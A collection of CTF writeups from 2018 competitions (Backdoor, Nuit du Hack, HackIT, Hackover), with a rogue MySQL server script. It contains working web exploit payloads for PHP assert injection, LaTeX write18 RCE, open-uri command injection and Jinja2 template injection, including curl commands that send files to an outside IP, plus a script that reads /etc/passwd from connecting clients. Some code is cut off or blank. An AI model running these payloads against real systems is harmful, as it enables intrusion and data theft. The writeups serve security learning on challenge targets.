225 | ```
226 |
227 | Soon you can find out the flag pictures.
228 |
229 | ## crypto
230 |
231 | ## web
232 |
233 | ### BF-CAPTCHA-REVENGE (solved by qazwsxedcrfvtg14, written by bookgin)
234 |
235 | The challenge is a website which shows some brainfuck code and an audio captcha, and I don't bother to solve it at all.
236 |
237 | First, the descrition of the challenge gives us the hint about the `.git`. We use [GitTools](https://github.com/internetwache/GitTools) to crwal the repository.
238 |
239 | >rnehra01 loves to version control and has made these captchas as good as hell.
240 |
241 |
242 | In the source code:
243 | ```php
244 | function is_clean($input){
245 | ...
246 |
247 | if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection
248 | bad_hacking_penalty();
249 | return false;
250 | }
251 |
252 | ...
253 |
254 | }
255 |
256 | if (is_clean($user_ans)) {
257 | assert("'$real_ans' === '$user_ans'")
258 | ...
259 | }
260 | ```
261 |
262 | There is a obvious command injection, and it can be bypassed easily.
263 |
264 | The payload:
265 | ```
266 | `'OR ("sys"."tem")("ls -al") OR'`
267 | `'OR ("sys"."tem")("cat rand*") OR'`
268 | ```
269 |
270 | Acctually I'm trying to create a reverse shell, but `system` seems to be more efficient and effective to retrieve the flag.
271 |
272 | Of course, I guess some team will solve all the reCAPTCHA to get the flag, and [P4](https://github.com/p4-team/ctf/tree/master/2018-03-18-backdoor-ctf/web_captcha) proves that.
273 |
274 | ### Get-hired (solved by sasdf, written by bookgin)
275 |
276 | In `call.js`, this is vulenrable to XSS:
277 | ```javascript=
278 | function p(details){
279 | document.getElementById('call\_details').innerHTML = details.sender\_username + " is calling " + details.receiver_username + " ....";
280 | }
281 | ```
282 |
283 | It utilizes `postMessage` API to render the HTML content.
284 | ```javascript
285 | $("#audiocall").click(function(){
286 | var call_window;
287 | call_window = window.open("call.php");
288 | setTimeout(function(){
289 | call_window.postMessage({
290 | type: "audio",
291 | details: {
292 | sender_username: "admin",
293 | sender\_team\_name: "InfosecIITR",
294 | receiver\_username: escapeHTML($("#r\_call").val()),
295 | receiver\_team\_name: escapeHTML($("#rteam_call").val())
296 | }
297 | }, "*");
298 | }, 100);
299 | });
300 |
301 | ```
302 |
303 | Also, sending a URL in `get hired` page allows the admin to browse a foreign site. Therefore, we just create a `evilsite.com` with the content below. The admin will post the XSS payload to iFrame, and we are able to get the cookie.
304 |
305 | ```htmlmixed
306 |
307 |
323 | ```
324 |
325 | ### Get-hired 2 (unsolved, written by bookgin)
326 |
327 | It adds an origin verification function.
328 |
329 | ```javascript
330 | function verifyorigin(originHref) {
331 | var a = document.createElement("a");
332 | a.href = originHref;
333 | return a.hostname == window.location.hostname
334 | }
335 |
336 | if(!verifyorigin(event.origin)){
337 | return;
338 | ...
339 | }
340 | ```
341 |
342 | Bypass it with null origin using [data URI](https://en.wikipedia.org/wiki/Data_URI_scheme).
343 |
344 | Reference:
345 | 1. https://ctftime.org/writeup/9187
346 | 2. https://ctftime.org/writeup/9181
347 |
--------------------------------------------------------------------------------
/20180324-volgactf/rogue_mysql_server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # Python 3.6.4
3 | from pwn import *
4 |
5 | server = listen(3306)
6 |
7 | server.wait_for_connection()
8 | # Server Greeting
9 | server.send(bytes.fromhex('4a0000000a352e372e32310007000000447601417b4f123700fff7080200ff8115000000000000000000005c121c5e6f7d387a4515755b006d7973716c5f6e61746976655f70617373776f726400'))
10 | # Client login request
11 | print(server.recv())
12 | # Server Response OK
13 | server.send(bytes.fromhex('0700000200000002000000'))
14 | # Client SQL query
15 | print(server.recv())
16 | # Server response with evil
17 | query_ok = bytes.fromhex('0700000200000002000000')
18 | dump_etc_passwd = bytes.fromhex('0c000001fb2f6574632f706173737764')
19 | server.send(dump_etc_passwd)
20 |
21 | # This contains the flag
22 | print(server.recv())
23 |
--------------------------------------------------------------------------------
/20180330-nuitduhackctf/README.md:
--------------------------------------------------------------------------------
1 | # Nuit du Hack CTF Quals 2018
2 |
3 |
4 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180330-nuitduhackctf/) of this writeup.**
5 |
6 |
7 | - [Nuit du Hack CTF Quals 2018](#nuit-du-hack-ctf-quals-2018)
8 | - [Pwn](#pwn)
9 | - [reverse](#reverse)
10 | - [Web](#web)
11 | - [PixEditor (bookgin)](#pixeditor-bookgin)
12 | - [Linked Out (bookgin)](#linked-out-bookgin)
13 | - [Crawl Me Maybe (unsolved, written by bookgin)](#crawl-me-maybe-unsolved-written-by-bookgin)
14 | - [CoinGame (bookgin)](#coingame-bookgin)
15 | - [WaWaCoin (unsolved, written by bookgin)](#wawacoin-unsolved-written-by-bookgin)
16 | - [Cryptolol (solved by sasdf)](#cryptolol-solved-by-sasdf)
17 |
18 |
19 |
20 | ## Pwn
21 |
22 | ## reverse
23 |
24 | ## Web
25 |
26 | ### PixEditor (bookgin)
27 |
28 | In this challenge, we can POST a list of RGBA pixels, with specific format JPG, PNG, BMP, GIF. After sending the request to the server, we can download the image we just uploaded. The filename will remain the same.
29 |
30 | ```
31 | data=[255,0,0...]
32 | name=image.JPG
33 | format=JPG
34 | ```
35 |
36 | My intuition is to upload a web shell. However, I've tried lot of filenames but they all failed. It seems the filename is properly parsed by php `basename()`.
37 |
38 | Next, I wonder what will happend if I'm trying to create a filename which is longer than 255 bytes, because the [maximum filename length](https://en.wikipedia.org/wiki/Comparison_of_file_systems#Limits) for `ext4` is 255. To my surprise, a filename with only 55 bytes gets truncated!
39 |
40 | - POST filename `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.bmp`
41 | - The server saves the file as `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx`
42 |
43 | The rest is trivial. We just need to manipulate the pixels to create a web shell. Pleases check my script for details.
44 |
45 | ```python=
46 | #!/usr/bin/env python3
47 | # Python 3.6.4
48 | import requests
49 | import json
50 |
51 | payload = ''' 50`
71 |
72 | ### Linked Out (bookgin)
73 |
74 | We can upload a YAML config file, and the website will render the content through LaTeX.
75 |
76 | Our first try is to insert some latex syntax `\texttt{GG} \textbf{greatest}`. It gets rendered.
77 |
78 | How about some evil RCE latex syntax?
79 |
80 | ```
81 | \immediate\write18{ls > aaa.txt}
82 | \input{aaa.txt}
83 | ```
84 |
85 | We soon found the flag is in `/flag`. Nevertheless, we fail to cat it out. We only got a parsing error. That's weird as I'm sure we have read permission via `ls -all /flag`.
86 |
87 | After a few tries, we found `cat Makefle`, `pwd` are giving us parsing error. I wonder if there is a WAF. A quick PoC `echo NDH` and `echo a` solves the mystery - it's WAFed. The underscore is WAFed as well.
88 |
89 | So we just bypass it with powerful `sed`. Here is the payload:
90 |
91 | ```yaml=
92 | - '\immediate\write18{cat /flag | sed "s/_/Q/g" | sed "s/NDH/WWW/g"> see}'
93 | - '\input{see}'
94 | ```
95 |
96 | ### Crawl Me Maybe (unsolved, written by bookgin)
97 |
98 | The website will crawl the user-provided URL and displays the content. A quick test `url[]=` leads to an error which leaks the ruby source code:
99 |
100 | ```ruby
101 | require 'open-uri'
102 | require 'nokogiri'
103 |
104 |
105 | set :bind, '0.0.0.0'
106 | set :port, 8080
107 |
108 |
109 | get '/' do
110 | @title = 'Crawl Me Maybe!'
111 | erb :index
112 | end
113 |
114 | post '/result' do
115 | @title = 'Crawl Me Maybe!'
116 | url = params["url"]
117 |
118 | if /sh|dash|bash|rbash|zsh/.match(url) || url.match('flag') || url.match('txt') || url.index('*') != nil || (url.index('|') != nil && !(url.index('cat') != nil || url.index('ls') != nil))
119 | @result = "Attack detected"
120 | erb :error
121 | else
122 | begin
123 | page = open(url)
124 | rescue StandardError => e
125 | @result = "Invalide url"
126 | erb :error
127 | else
128 | begin
129 | page = Nokogiri::HTML(page) { |config| config.strict }
130 | @result = "Page well formed !"
131 | @content = page.text
132 | erb :result
133 | rescue Nokogiri::HTML::SyntaxError => e
134 | @result = "caught exception: #{e}"
135 | erb :error
136 | end
137 | end
138 | end
139 | end
140 | ```
141 |
142 | 1. `open-uri` is very dangerous. `open('| ls')` results in RCE, while `open('/etc/passwd')` results in local file leaks.
143 | 2. CHECK THE WAF CAREFULLY (we fail to do so). It seems working, but in fact, `| ls` is still a valid payload.
144 |
145 | Payload:
146 | ```shell=
147 | # locate the flag
148 | $ curl 'http://crawlmemaybe.challs.malice.fr/result' --data 'url=| ls >/dev/null; find / | grep fla'
149 | /home/challenge/src/.flag.txt
150 |
151 | # get the flag
152 | $ curl 'http://crawlmemaybe.challs.malice.fr/result' --data 'url=| ls >/dev/null; cat /home/challenge/src/.fla?.t?t'
153 | NDH{CUrly_Ruby_J3p53n}
154 | ```
155 |
156 |
157 | This one is acctually very simple, but we are too tired to solve this...... Never stay up late playing CTf, guys.
158 |
159 |
160 | ### CoinGame (bookgin)
161 |
162 | The website is a online `curl` service, with PHP as the backend.
163 |
164 | `file:///etc/passwd` still works lika a charm, and what's more intriguing is that there is a user named `tftp`.
165 |
166 | Let's get information as more as possible:
167 |
168 | - source code: `file:///var/www/html/curl.php`
169 | - PHP curl: We can use `gopher`, though it's useless in the challenge. Refer to [SSRF bible](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit).
170 | - OS: file:///etc/os-release
171 | - tftp config file: `file:///etc/default/tftpd-hpa`
172 | ```
173 | # /etc/default/tftpd-hpa
174 |
175 | TFTP_USERNAME="tftp"
176 | TFTP_DIRECTORY="/home/CoinGame"
177 | TFTP_ADDRESS="0.0.0.0:69"
178 | TFTP_OPTIONS="--secure --create"
179 | ```
180 |
181 | Nevertheless, we are not able to connect to the tftp remotely. Then, we tried to dig some files under `/home/CoinGame` but none of them works. We got stuck here.......
182 |
183 | Suddenly, there arises inspiration in my mind. I start googling the author `Designed by totheyellowmoon`, accidently finding that he has only one repo, which is named `CoinGame`.
184 |
185 | Next, just crawl all the contents thorugh `file:///home/CoinGame/README.md` .... and diff with the repo. We found lots of images are not the same, and they contatins the flag.
186 |
187 | Hmm, I don't think this challenge is well-designed.
188 |
189 | ### WaWaCoin (unsolved, written by bookgin)
190 |
191 | In the login page, if the username doesn't not exist, we'll get `bad username`. Then, through a quick enumeration we found `admin` exists.
192 |
193 | In the manager page, we are set a cookie by the server, `session=757365723d64656d6f|9183ff6055a46981f2f71cd36430ed3d9cbf6861`. The first part is `user=demo` in hex, and the second part is a 20 bytes SHA1-hash. Manipulating the `user=admin` gets nothing, as the second part SHA1 seems like a signature. Therefore, the server will validate the signature and the first part.
194 |
195 | Later we found the category of the problem is updated to `crypto/web`, so length extension attack comes to my mind.
196 |
197 | However, we only send the payload to `/stealmoney` and `/login`. What's worse, we doesn't follow the redirect. In fact, one of the payload readlly works, but we send to the wrong API. Sending to `/stealmoney` will always redirect you to other page. The correct one is `/manager`.
198 |
199 | You can check [@Becojo's script](https://gist.github.com/Becojo/17dbd49b5e8f25d9d7534afc2ed76c64) for more detail. It seems that appending `;user=admin` or `&user=admin` both works.
200 |
201 | @sasdf, @sces60107 and I acctually spent 6+ hours on the frustrating challenge (sob).
202 |
203 | ### Cryptolol (solved by sasdf)
204 |
205 | To be completed
206 |
--------------------------------------------------------------------------------
/20180908-hackitctf/README.md:
--------------------------------------------------------------------------------
1 | # HackIT CTF 2018
2 |
3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180908-hackitctf/) of this writeup.**
4 |
5 |
6 | - [HackIT CTF 2018](#hackit-ctf-2018)
7 | - [Welcome](#welcome)
8 | - [Get Going](#get-going)
9 | - [Web](#web)
10 | - [Republic of Gayming](#republic-of-gayming)
11 | - [Believer Case](#believer-case)
12 | - [PeeHPee2](#peehpee2)
13 | - [Reverse](#reverse)
14 | - [coffee_overflow](#coffee_overflow)
15 |
16 |
17 | ## Welcome
18 |
19 | ### Get Going
20 |
21 | (bookgin)
22 |
23 | Actually, this should be a welcome challenge, but lots of teams find it not trivial. In the end the organizer releases 2 hints abount this welcome challenges, and directly indicates this is Zero Width Concept. lol
24 |
25 | The flag is encoded in Zero Width content with [zwsp-steg-js](https://github.com/offdev/zwsp-steg-js).
26 |
27 | ```
28 | Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯
29 |
30 | flag{w3_gr337_h4ck3rz_w1th_un1c0d3}
31 | ```
32 |
33 | ## Web
34 |
35 | ### Republic of Gayming
36 |
37 | (unsolved, written by bookgin, thanks @chmodxxx)
38 |
39 | The source code:
40 |
41 | ```javascript
42 | const express = require('express')
43 | var hbs = require('hbs');
44 | var bodyParser = require('body-parser');
45 | const md5 = require('md5');
46 | var morganBody = require('morgan-body');
47 | const app = express();
48 | var user = []; //empty for now
49 |
50 | var matrix = [];
51 | for (var i = 0; i < 3; i++){
52 | matrix[i] = [null , null, null];
53 | }
54 |
55 | function draw(mat) {
56 | var count = 0;
57 | for (var i = 0; i < 3; i++){
58 | for (var j = 0; j < 3; j++){
59 | if (matrix[i][j] !== null){
60 | count += 1;
61 | }
62 | }
63 | }
64 | return count === 9;
65 | }
66 |
67 | app.use('/static', express.static('static'));
68 | app.use(bodyParser.json());
69 | app.set('view engine', 'html');
70 | morganBody(app);
71 | app.engine('html', require('hbs').__express);
72 |
73 | app.get('/', (req, res) => {
74 |
75 | for (var i = 0; i < 3; i++){
76 | matrix[i] = [null , null, null];
77 |
78 | }
79 | res.render('index');
80 | })
81 |
82 |
83 | app.get('/admin', (req, res) => {
84 | /*this is under development I guess ??*/
85 |
86 | if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
87 | res.send('Hey admin your flag is flag{redacted}')
88 | }
89 | else {
90 | res.status(403).send('Forbidden');
91 | }
92 | }
93 | )
94 |
95 |
96 | app.post('/api', (req, res) => {
97 | var client = req.body;
98 | var winner = null;
99 | matrix[client.row][client.col] = client.data;
100 | console.log(matrix);
101 | for(var i = 0; i < 3; i++){
102 | if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
103 | if (matrix[i][0] === 'X') {
104 | winner = 1;
105 | }
106 | else if(matrix[i][0] === 'O') {
107 | winner = 2;
108 | }
109 | }
110 | if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
111 | if (matrix[0][i] === 'X') {
112 | winner = 1;
113 | }
114 | else if(matrix[0][i] === 'O') {
115 | winner = 2;
116 | }
117 | }
118 | }
119 |
120 | if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
121 | winner = 1;
122 | }
123 | if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
124 | winner = 2;
125 | }
126 |
127 | if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
128 | winner = 1;
129 | }
130 | if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
131 | winner = 2;
132 | }
133 |
134 | if (draw(matrix) && winner === null){
135 | res.send(JSON.stringify({winner: 0}))
136 | }
137 | else if (winner !== null) {
138 | res.send(JSON.stringify({winner: winner}))
139 | }
140 | else {
141 | res.send(JSON.stringify({winner: -1}))
142 | }
143 |
144 | })
145 | app.listen(3000, () => {
146 | console.log('app listening on port 3000!')
147 | })
148 | ```
149 |
150 |
151 | The main objective is to pass the condition:
152 | `if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken)`
153 |
154 | However, `user = []` and there is no other operation which will modify the list. It seems impossible to pass this condition......
155 |
156 | The most suspicious assignment is the operation of matrix, and we can control row,col and data.
157 |
158 | ```javascript
159 | matrix[client.row][client.col] = client.data;
160 | ```
161 |
162 | Ok but this is `matrix` not the `user` list. It has nothing to do with `user` list.
163 |
164 | But you know, this is javascript. Everything can happen.
165 |
166 | Take a look at [Javascript prototype pollution](https://github.com/HoLyVieR/prototype-pollution-nsec18/). The basic idea is to override/create a new attribute in the prototype. `matrix['__proto__']` is the prototype of javascript list. Leveraging this we can add the `admintoken` attribute to the list:
167 |
168 | ```javascript
169 | matrix['__proto__']['admintoken'] = "helloworld";
170 | ```
171 |
172 | The payload:
173 |
174 | ```python
175 | #!/usr/bin/env python3
176 | import requests
177 | s = requests.session()
178 | # leverage matrix[row][col] = data
179 | print(s.post('http://127.0.0.1:3000/api', json={'row':'__proto__','col':'admintoken', 'data':'helloworld'}).text)
180 | # md5sum of 'hellworld'
181 | print(s.get('http://127.0.0.1:3000/admin', params={"querytoken":"fc5e038d38a57032085441e7fe7010b0"}).text)
182 | ```
183 |
184 | This is a very cool challenge. Although I didn't solve it, I learn a lot :)
185 |
186 | ### Believer Case
187 |
188 | (bookgin)
189 |
190 | After a few testing we can quickly identify the vulnerabilty: Server Side Template Injection. `http://185.168.131.123/{{3*3}}` = 9
191 |
192 | Next is to identify the backend. The error page of `http://185.168.131.123/a/b/c/` looks like Python Flask. Does the server use jinja2 to render the template?
193 |
194 | Yes, it can be confirmed by `{{7*'7'}}` resulting 7777777. Refer to [this](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20injections#jinja2).
195 |
196 | However, the server will filter some words like `mro`,`+`, `|`,`class` ...., which makes RCE a little tricky.
197 |
198 | We first try to use `g` (flask.ctx object) and `session` to result in RCE but cannot find anything useful. A quick Google we found [this problem](https://ctftime.org/task/6505) and some solution utilizes `url_for` (jinja2 function) to RCE.
199 |
200 | So let's try `url_for.__globals__`, and we can see the `os` module is in the global!
201 |
202 | RCE is trivial now:
203 |
204 | ```sh
205 | # list files
206 | http://185.168.131.123/{{url_for.__globals__.os.system("ls -all > /tmp/abc")}}
207 | http://185.168.131.123/{{url_for.__globals__.os.system("curl 140.112.30.52:12345 -F data=@/tmp/abc")}}
208 | # get the flag
209 | http://185.168.131.123/{{url_for.__globals__.os.system("curl 140.112.30.52:12345 -F data=@flag_secret_file_910230912900891283")}}
210 | ```
211 |
212 | (The reverse shell doesn't work:( so the solution is dirty. )
213 |
214 | Here is the flag:
215 |
216 | `flag{blacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813}`
217 |
218 | ### PeeHPee2
219 |
220 | (unsolved, written by bookgin, thanks to @chmodxxx)
221 |
222 | The hint incicates the server is running Apache Struts 2.3.14, and provide a interface to fetch the url page.
223 |
224 | But it's not so easy to SSRF. The server side filters some words like `.`,`localhost`, `::`.
225 |
226 | We can bypass the filter using decimal IP `http://3114828676:1234/index.html`.
227 |
228 | and then use [Struts 2.3.14 CVE](https://github.com/bhdresh/CVE-2018-11776) to send the payload to localhost.
229 |
230 | [Offcial writeup](https://github.com/DefConUA/HackIT2018/tree/master/web/PeeHPee2)
231 |
232 | ## Reverse
233 | ### coffee_overflow
234 |
235 | (sasdf)
236 |
237 | [A very lengthy writeup](https://github.com/sasdf/ctf-tasks-writeup/blob/master/writeup/2018/HackIT/coffee_overflow/README.md)
238 |
--------------------------------------------------------------------------------
/20181006-hackoverctf/README.md:
--------------------------------------------------------------------------------
1 | # Hackover CTF 2018
2 |
3 |
4 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20181006-hackoverctf/) of this writeup.**
5 |
6 |
7 | - [Hackover CTF 2018](#hackover-ctf-2018)
8 | - [Reverse](#reverse)
9 | - [flagmaker](#flagmaker)
10 | - [bwv2342](#bwv2342)
11 | - [Crypto](#crypto)
12 | - [secure_hash v2](#secure_hash-v2)
13 | - [oblivious transfer](#oblivious-transfer)
14 | - [web](#web)
15 | - [cyberware](#cyberware)
16 | - [ez web](#ez-web)
17 | - [i-love-heddha](#i-love-heddha)
18 | - [who knows john dows?](#who-knows-john-dows)
19 |
20 |
21 |
22 | ## Reverse
23 |
24 | ### flagmaker
25 |
26 | https://github.com/sasdf/ctf-tasks-writeup/tree/master/writeup/2018/HackOver/rev/flagmaker
27 |
28 | ### bwv2342
29 |
30 | This chal provide a movfuscated binary. Knowing that movfuscated binary is hard to reverse, We first simply run the binary with strace and found that it open `flag.txt`. After some trial and error (with knowledge of the flag is of form hackover18{some text}), we quickly found out right input will be responsed with different output compared with wrong input. Now simply bruteforce the flag.
31 |
32 | flag : `hackover18{M0V_70_7h4_w0h173mp3r13r73_Kl4v13r}`
33 |
34 | ## Crypto
35 |
36 | ### secure_hash v2
37 |
38 | https://github.com/sasdf/ctf-tasks-writeup/tree/master/writeup/2018/HackOver/crypto/secure_hash_v2
39 |
40 | ### oblivious transfer
41 |
42 | https://github.com/sasdf/ctf-tasks-writeup/tree/master/writeup/2018/HackOver/crypto/oblivious
43 |
44 | ## web
45 |
46 | ### cyberware
47 |
48 | (bookgin)
49 |
50 | We are given a webserver, which we can read some files in the directory. How about reading other directories? After a few tests, I think the backend it's probably heavilty WAFed. For example, if we have a trailing slash:
51 |
52 | ```sh
53 | $ curl 'http://cyberware.ctf.hackover.de:1337/fox.txt/' -sD -
54 | HTTP/1.1 403 You shall not list!
55 | Server: Linux/cyber
56 | Date: Fri, 05 Oct 2018 20:38:38 GMT
57 | Content-type: text/cyber
58 |
59 | Protected by Cyberware 10.1
60 | ```
61 |
62 | Or the path starts with dot:
63 |
64 | ```sh
65 | $ curl 'http://cyberware.ctf.hackover.de:1337/.a' -sD -
66 | HTTP/1.1 403 Dots are evil
67 | Server: Linux/cyber
68 | Date: Fri, 05 Oct 2018 21:07:18 GMT
69 | Content-type: text/cyber
70 |
71 | Protected by Cyberware 10.1
72 | ```
73 |
74 | The filtering rules are listed below:
75 |
76 | 1. if len(path) == 1: path will be replaced to `/`
77 | 2. if len(path) > 1: the last character of the path cannot be `/`
78 | 3. The path cannot start with `/.`
79 |
80 | Actually I even write a fuzzing script, trying to use a brute-force way to bypass the WAF.
81 | ```python
82 | from itertools import product
83 | for i in product(*[['.', '/', './', '../', 'cat.txt'] for _ in range(4)]):
84 | ...
85 | ```
86 |
87 | This script gives me some interesting findings:
88 |
89 | 1. The path can start with multiple slashes.
90 | 2. `../` can be used
91 |
92 | So I try to read `/etc/passwd` by visiting `http://cyberware.ctf.hackover.de:1337//../../../etc/passwd`. It works! The next problem is to find the flag, but it's not in `/flag` nor `/home/ctf/flag`. Let's try to get more inforation:
93 |
94 | ```
95 | /proc/self/stat
96 | 1 (cyberserver.py) S 0 1 1 34816 1 4194560 1983058 0 51 0 40392 20243 0 0 20 0 187 0 75328 268914688 4920 18446744073709551615 6074536218624 6074536221952 128479825392640 0 0 0 0 16781312 2 0 0 0 17 0 0 0 7 0 0 6074538319272 6074538319880 6075320318234 128479825398243 128479825398277 128479825398277 128479825398391 0
97 | ```
98 |
99 | We have the filename of the source code. You can refer to [p4's writeup](https://github.com/p4-team/ctf/tree/master/2018-10-06-hackover/web_cyberware) for the complete source code. The most important snippet is:
100 |
101 | ```python
102 | if path.startswith('flag.git') or search('\\w+/flag.git', path):
103 | self.send_response(403, 'U NO POWER')
104 | self.send_header('Content-type', 'text/cyber')
105 | self.end_headers()
106 | self.wfile.write(b"Protected by Cyberware 10.1")
107 | return
108 | ```
109 |
110 | `\w` [means any word character](https://stackoverflow.com/a/1576812). However this trivial to bypass via two slashes `//home/ctf//flag.git/HEAD`.
111 |
112 | The rest is easy: extract the git repo using [gitdumper](https://github.com/internetwache/GitTools#dumper).
113 |
114 | We have the flag `hackover18{Cyb3rw4r3_f0r_Th3_w1N}`.
115 |
116 | ### ez web
117 |
118 | (bookgin)
119 |
120 | The challenge only shows `under construction` in the index page. There is nothing interesting in the website...... I'm at a loss in the beginnning and I don't know what to do next.
121 |
122 | Maybe try to profile the backend. Visiting `http://ez-web.ctf.hackover.de:8080/abc` shows the following error page:
123 | ```
124 | Whitelabel Error Page
125 |
126 | This application has no explicit mapping for /error, so you are seeing this as a fallback.
127 | Thu Oct 11 01:39:16 GMT 2018
128 | There was an unexpected error (type=Not Found, status=404).
129 | No message available
130 | ```
131 |
132 | The backend seems to be [Spring Boot](https://www.logicbig.com/tutorials/spring-framework/spring-boot/disable-default-error-page.html). Then, nothing interesting.
133 |
134 | Then I think it's time to use some scanner: [DirBuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) to burst the path. I always use scanner in a very low request rate(1-2 requests per second), trying to minimize the impact on the server. Surprisingly it found `http://ez-web.ctf.hackover.de:8080/flag/` return HTTP 200. Visit the page and there is a link to `flag.txt`.
135 |
136 | ```sh
137 | $ curl http://ez-web.ctf.hackover.de:8080/flag/flag.txt -sD -
138 | HTTP/1.1 200
139 | Set-Cookie: isAllowed=false
140 | Content-Type: text/plain;charset=UTF-8
141 | Content-Length: 219
142 | Date: Thu, 11 Oct 2018 01:42:48 GMT
143 |
144 |
145 |
146 | Restricted Access
147 |
148 |
149 | You do not have permission to enter this Area. A mail has been sent to our Admins.
You shall be arrested shortly.
150 |
151 |